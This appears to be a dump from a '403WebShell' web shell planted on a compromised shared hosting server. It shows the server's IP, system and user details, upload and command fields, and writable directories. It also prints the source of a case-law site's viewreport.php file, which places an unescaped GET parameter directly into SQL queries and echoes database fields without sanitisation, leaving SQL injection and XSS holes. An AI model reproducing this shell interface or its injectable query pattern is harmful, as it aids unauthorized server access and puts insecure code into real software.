ÿØÿà JPEG ÿþ; 403WebShell
403Webshell
Server IP : 68.65.120.201  /  Your IP : 216.73.216.73
Web Server : LiteSpeed
System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : taxhyuvu ( 2294)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/taxhyuvu/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/taxhyuvu/public_html/viewreport.php
<?php $id=$_GET['id'];
session_start();

include "admin/db.php";


$p2="SELECT * FROM `cases` WHERE `id` = '$id'
";

$power = mysqli_query($con,$p2);
$k=mysqli_fetch_assoc($power);

?>
<?php if(isset($_SESSION['logedin']) && $_SESSION['logedin']==true) { ?>

<!DOCTYPE html>
<html lang="en">
<head>
  <title>Case Law [<?php echo $k['Judgment']?>]</title>
  <meta name="description" content="<?php echo $k['Judgment']?> | <?php echo $k['Law']?> | <?php echo $k['Court']?> | <?php echo $k['Sections']?> | <?php echo $k['Vs1']?>Vs<?php echo $k['Vs2']?> | <?php echo $k['Topic']?> | <?php echo $k['Ref']?> |">
  <meta name="keywords" content="<?php echo $k['Judgment']?>, <?php echo $k['Law']?>, <?php echo $k['Court']?>, <?php echo $k['Sections']?>,<?php echo $k['Vs1']?>Vs<?php echo $k['Vs2']?>,<?php echo $k['Topic']?>,<?php echo $k['Ref']?>">
  <link rel="icon" type="image/x-icon" href="icon.png">
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css" rel="stylesheet">
  <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/js/bootstrap.bundle.min.js"></script>
  <link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Bitter&display=swap" rel="stylesheet">


<script>
        document.addEventListener('contextmenu', function (e) {
            e.preventDefault();
        });

        document.addEventListener('selectstart', function (e) {
            e.preventDefault();
        });
</script>

</head>
<body >
<Style>
    .form-control:focus {
    color: #212529;
    background-color: #fff;
    border-color: #b7d0f5;
    outline: 0;
    box-shadow: 0 0 0 0.25rem rgba(79, 80, 80, 0.247);
}

 .btn-primary{    background: #009bad;
    border: #0a9eb0;}
    .btn:hover {
    color: var(--bs-btn-hover-color);
    background-color: #98a0a4;
    border-color: #98a0a4;
}
    .head{width: 100%;height: ; 
    background-color: ;}
    .head img{width: 300px;}
.img1st{margin: 0% ;
        padding: 20px}
td{text-align: justify;
    }
    th{text-align: center;    color: #666666;
        font-family: 'Bitter', serif !important;}
*{font-family: none !important; }
p{font-size: 19px;}


.icon-bar {
  position: fixed;
  top: 50%;
  -webkit-transform: translateY(-50%);
  -ms-transform: translateY(-50%);
  transform: translateY(-50%);
}

.icon-bar a {
  display: block;
  text-align: center;
  padding: 16px;
  transition: all 0.3s ease;
  color: white;
  font-size: 20px;
  text-decoration: none;
  font-weight: 700;

}

.icon-bar a:hover {
  background-color: #000;
}

.facebook {
  background: #3B5998;
  color: white;
}

.twitter {
  background: #55ACEE;
  color: white;
}

.inst {
  background: #dd4b39;
  color: white;
}

.google{
    background-color:#028dac; 
  color: white;
}

.linkedin {
  background: #007bb5;
  color: white;
}

.youtube {
  background: #bb0000;
  color: white;
}

.content {
  margin-left: 75px;
  font-size: 30px;
}
*{font-family: 'Yantramanav', sans-serif !important; }
</Style>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Yantramanav&display=swap" rel="stylesheet">
<script>
    function print () {
 var printDiv = document.getElementById("divPrint");
 var printWindow = window.open();
 printWindow.document.write(printDiv.innerHTML);
 printWindow.document.close();
 printWindow.focus();
 printWindow.print();
}
</script>


    <!-- <button style="position: fixed;" id="print" onclick="print()" class="btn btn-info">Print</button> -->

<div class=head >


    <div class="container"  id="divpr">


    

</div>
</div>
</div>
</div>
<div class="icon-bar">
    <a href="#" class="google" id="print" onclick="print()">
    <svg xmlns="http://www.w3.org/2000/svg" width="25" height="25" fill="currentColor" class="bi bi-printer-fill" viewBox="0 0 16 16">
  <path d="M5 1a2 2 0 0 0-2 2v1h10V3a2 2 0 0 0-2-2H5zm6 8H5a1 1 0 0 0-1 1v3a1 1 0 0 0 1 1h6a1 1 0 0 0 1-1v-3a1 1 0 0 0-1-1z"/>
  <path d="M0 7a2 2 0 0 1 2-2h12a2 2 0 0 1 2 2v3a2 2 0 0 1-2 2h-1v-2a2 2 0 0 0-2-2H5a2 2 0 0 0-2 2v2H2a2 2 0 0 1-2-2V7zm2.5 1a.5.5 0 1 0 0-1 .5.5 0 0 0 0 1z"/>
</svg> </a> 
  
 <button class="facebook" id="download" style="WIDTH: 100%;HEIGHT: 55PX;BORDER: NONE;
"> <svg xmlns="http://www.w3.org/2000/svg" width="25" height="25" fill="currentColor" class="bi bi-cloud-arrow-down-fill" viewBox="0 0 16 16">
  <path d="M8 2a5.53 5.53 0 0 0-3.594 1.342c-.766.66-1.321 1.52-1.464 2.383C1.266 6.095 0 7.555 0 9.318 0 11.366 1.708 13 3.781 13h8.906C14.502 13 16 11.57 16 9.773c0-1.636-1.242-2.969-2.834-3.194C12.923 3.999 10.69 2 8 2zm2.354 6.854-2 2a.5.5 0 0 1-.708 0l-2-2a.5.5 0 1 1 .708-.708L7.5 9.293V5.5a.5.5 0 0 1 1 0v3.793l1.146-1.147a.5.5 0 0 1 .708.708z"/>
</svg></button>
  <a href="#" class="inst"><svg xmlns="http://www.w3.org/2000/svg" width="25" height="25" fill="currentColor" class="bi bi-suit-heart-fill" viewBox="0 0 16 16">
  <path d="M4 1c2.21 0 4 1.755 4 3.92C8 2.755 9.79 1 12 1s4 1.755 4 3.92c0 3.263-3.234 4.414-7.608 9.608a.513.513 0 0 1-.784 0C3.234 9.334 0 8.183 0 4.92 0 2.755 1.79 1 4 1z"/>
</svg></a> 
  <!-- <a href="#" class="twitter"><svg xmlns="http://www.w3.org/2000/svg" width="25" height="25" fill="currentColor" class="bi bi-twitter" viewBox="0 0 16 16">
  <path d="M5.026 15c6.038 0 9.341-5.003 9.341-9.334 0-.14 0-.282-.006-.422A6.685 6.685 0 0 0 16 3.542a6.658 6.658 0 0 1-1.889.518 3.301 3.301 0 0 0 1.447-1.817 6.533 6.533 0 0 1-2.087.793A3.286 3.286 0 0 0 7.875 6.03a9.325 9.325 0 0 1-6.767-3.429 3.289 3.289 0 0 0 1.018 4.382A3.323 3.323 0 0 1 .64 6.575v.045a3.288 3.288 0 0 0 2.632 3.218 3.203 3.203 0 0 1-.865.115 3.23 3.23 0 0 1-.614-.057 3.283 3.283 0 0 0 3.067 2.277A6.588 6.588 0 0 1 .78 13.58a6.32 6.32 0 0 1-.78-.045A9.344 9.344 0 0 0 5.026 15z"/>
</svg></a> 
  <a href="#" class="linkedin"><svg xmlns="http://www.w3.org/2000/svg" width="25" height="25" fill="currentColor" class="bi bi-linkedin" viewBox="0 0 16 16">
  <path d="M0 1.146C0 .513.526 0 1.175 0h13.65C15.474 0 16 .513 16 1.146v13.708c0 .633-.526 1.146-1.175 1.146H1.175C.526 16 0 15.487 0 14.854V1.146zm4.943 12.248V6.169H2.542v7.225h2.401zm-1.2-8.212c.837 0 1.358-.554 1.358-1.248-.015-.709-.52-1.248-1.342-1.248-.822 0-1.359.54-1.359 1.248 0 .694.521 1.248 1.327 1.248h.016zm4.908 8.212V9.359c0-.216.016-.432.08-.586.173-.431.568-.878 1.232-.878.869 0 1.216.662 1.216 1.634v3.865h2.401V9.25c0-2.22-1.184-3.252-2.764-3.252-1.274 0-1.845.7-2.165 1.193v.025h-.016a5.54 5.54 0 0 1 .016-.025V6.169h-2.4c.03.678 0 7.225 0 7.225h2.4z"/>
</svg></a>
  <a href="#" class="youtube"><svg xmlns="http://www.w3.org/2000/svg" width="25" height="25" fill="currentColor" class="bi bi-youtube" viewBox="0 0 16 16">
  <path d="M8.051 1.999h.089c.822.003 4.987.033 6.11.335a2.01 2.01 0 0 1 1.415 1.42c.101.38.172.883.22 1.402l.01.104.022.26.008.104c.065.914.073 1.77.074 1.957v.075c-.001.194-.01 1.108-.082 2.06l-.008.105-.009.104c-.05.572-.124 1.14-.235 1.558a2.007 2.007 0 0 1-1.415 1.42c-1.16.312-5.569.334-6.18.335h-.142c-.309 0-1.587-.006-2.927-.052l-.17-.006-.087-.004-.171-.007-.171-.007c-1.11-.049-2.167-.128-2.654-.26a2.007 2.007 0 0 1-1.415-1.419c-.111-.417-.185-.986-.235-1.558L.09 9.82l-.008-.104A31.4 31.4 0 0 1 0 7.68v-.123c.002-.215.01-.958.064-1.778l.007-.103.003-.052.008-.104.022-.26.01-.104c.048-.519.119-1.023.22-1.402a2.007 2.007 0 0 1 1.415-1.42c.487-.13 1.544-.21 2.654-.26l.17-.007.172-.006.086-.003.171-.007A99.788 99.788 0 0 1 7.858 2h.193zM6.4 5.209v4.818l4.157-2.408L6.4 5.209z"/>
</svg></i></a>  -->
</div>

<script src="https://cdnjs.cloudflare.com/ajax/libs/html2pdf.js/0.10.1/html2pdf.bundle.min.js"></script>

<script>
    window.onload = function(){
    document.getElementById("download")
    .addEventListener("click",()=>{
            const divPrint = this.document.getElementById("divPrint"); 
            console.log(window);
            html2pdf().from(divPrint).save();
    })
}
</script>

<div class="container" id="divPrint">
<!-- <div class="container" id="invoice"> -->

<div class="img1st">
<center>
<a href="index"><img src="Logo.png" style="width:300px;     padding-bottom: 25px;"></a></center>
</div>



<style>table, th, td {
  border: 2px solid #929a9d;
  padding:5px;
}
th{    font-size: 18px;
    background: #04a3b4;
    color: #ffffff;
    font-weight: bolder;
} 
td{background: #e7e7e71a; font-size: 20px;}  
</style>



<table width="100%" border="1px" id="invoice">
    <thead>
    <tr>
        <th>Court</th>
        <th>Year</th>
        <th>Appellant vs Respondent	</th>
        <th>Sections</th>
        <th>Topic</th>
    </tr>
    </thead>
    <tbody>
    <tr>
        <td style="text-align:center;"><?php echo $k['Court']?></td>
        <td style="text-align:center;"><?php echo $k['Year']?></td>
        <td style="text-align:center;"><?php echo $k['Vs1']?> <BR><B>Vs</B></BR><?php echo $k['Vs2']?></td>
        <td style="text-align:center;"><?php echo $k['Law']?><br><?php echo $k['Sections']?></td>
        <td style="text-align:center;"><?php echo $k['Topic']?></td>


    </tr>
    <tr>
        <th colspan="5">Case Laws / Head Notes / Paras</th>
        


    </tr>
    <tr >
        <td colspan="5" style="text-align:justify;"><?php echo $k['Para']?> </td>
        


    </tr>
    <tr>
        <th colspan="5">Citation / Reference</th>
        

        <?php $no=$k['Judgment'];
   
   $poon="SELECT * FROM `judgments` WHERE `PTD` = '$no'";

   $plz=mysqli_query($con,$poon);
   $kkr=mysqli_fetch_assoc($plz);

   ; ?>

    </tr>
    <tr>
        <td colspan="5" style="text-align:justify;"><?php echo $kkr['Ref']?> <b> <?php echo $kkr['PTD']?> | <?php echo $kkr['Year']?> <?php echo $kkr['CaseNo']?>  </b> <?php echo $kkr['PTCL']?> <b><?php echo $kkr['TAX']?> </b> <?php echo $kkr['SCMR']?>  <b><?php echo $kkr['PLD']?> </b> <?php echo $kkr['PDS']?>   </td>
        


    </tr>

   
   
   
   
   
    
    <tr>

        <th colspan="5" > <a href="viewjudgment?id=<?php echo $kkr['ID'];?>"><button class="btn btn-success" style="   background: #929a9d;
    font-weight: 900;
    font-size: 18px;
    width: 100%;
    color: #fdfdfd;">View Detail Judgment</button></a> </th>

   </tr>





    <!--<tr>-->

   <!--    <th colspan="5" > <a href="login"><button class="btn btn-success" style="background: #929a9d; font-weight: 900; font-size: 18px; width: 100%; color: #fdfdfd;">-->
   <!--    View Detail Judgment</button></a>  </th>-->
       
   <!--</tr>-->


    
    </tbody>
</table>





</div>

<?php } 
else{ 

     echo '<script>window.open("login", "_self")</script>';
     
     ?>

<?php }?>

Youez - 2016 - github.com/yon3zu
LinuXploit